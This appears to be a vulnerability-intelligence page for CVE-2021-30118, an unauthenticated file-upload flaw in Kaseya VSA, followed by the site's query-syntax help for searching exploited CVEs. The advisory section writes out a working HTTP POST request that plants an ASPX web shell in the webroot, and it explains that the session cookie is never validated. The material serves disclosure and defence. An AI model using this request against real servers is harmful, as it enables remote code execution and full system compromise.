CVE-2021-30118 — exploitation intelligence Actively exploited in the wild. EPSS exploitation probability: 60.3%. Severity: CRITICAL.
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
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Is it exploited in the wild?
try CVE-2024-3400 log4j product:openssl version:<3.0 exploited:true
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CVE & advisory IDs
CVE-2021-44228 GHSA-jfh8-c2jp-5v3q RHSA-2025:1746 DSA-5020-1
Full text
heap OR buffer overflow microsoft -windows "use after free"
Scores & evidence
cvss:>=9 exploits:>5 risk:>1.5
Threat flags
exploited:true ransomware:true maturity:weaponized trending:true
has: shorthands
has:exploit has:poc has:fix has:repo
Software
vendor:microsoft product:log4j ecosystem:npm fixable:true product:openssl version:3.0
Weakness & combinations
cwe:injection cwe:rce exploited:true age:<365 vendor:microsoft trending:true
Who & why Pro
Origin and target accept ISO-2, a country name, or a partial word.
actor:qilin origin:RU motivation:espionage sector:healthcare target:AE target:"united arab emirates"
ATT&CK, CAPEC & tactics Pro
ttp:T1190 ttp:"public-facing" tactic:"credential access" tactic:TA0010 capec:CAPEC-233
Worked examples Pro
Exploited healthcare exposure with a fixsector:healthcare exploited:true has:fix GCC-targeted and exploited in the wild(target:"united arab emirates" OR target:"saudi arabia" OR target:qatar OR target:kuwait OR target:bahrain OR target:oman) exploited:true UAE-targeted, exploited, fix availabletarget:"united arab emirates" exploited:true has:fix Fresh in-the-wild initial-access activitytactic:"initial access" exploited:true age:<365 CN- or RU-origin activity affecting Microsoft products(origin:CN OR origin:RU) vendor:microsoft exploited:true Espionage-motivated government targeting with no fixmotivation:espionage sector:government NOT has:fix Perimeter-exploitation techniques in npm, fixablettp:T1190 ecosystem:npm fixable:true
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37.7% of exploited CVEs attacked before disclosure
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93% of what CVSS calls Critical has no weaponized exploit
15 days ahead of CISA KEV
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{
"x_intel_priority": {
"exploited_in_wild": true,
"exploit_maturity": "active",
"cisa_kev": true
}
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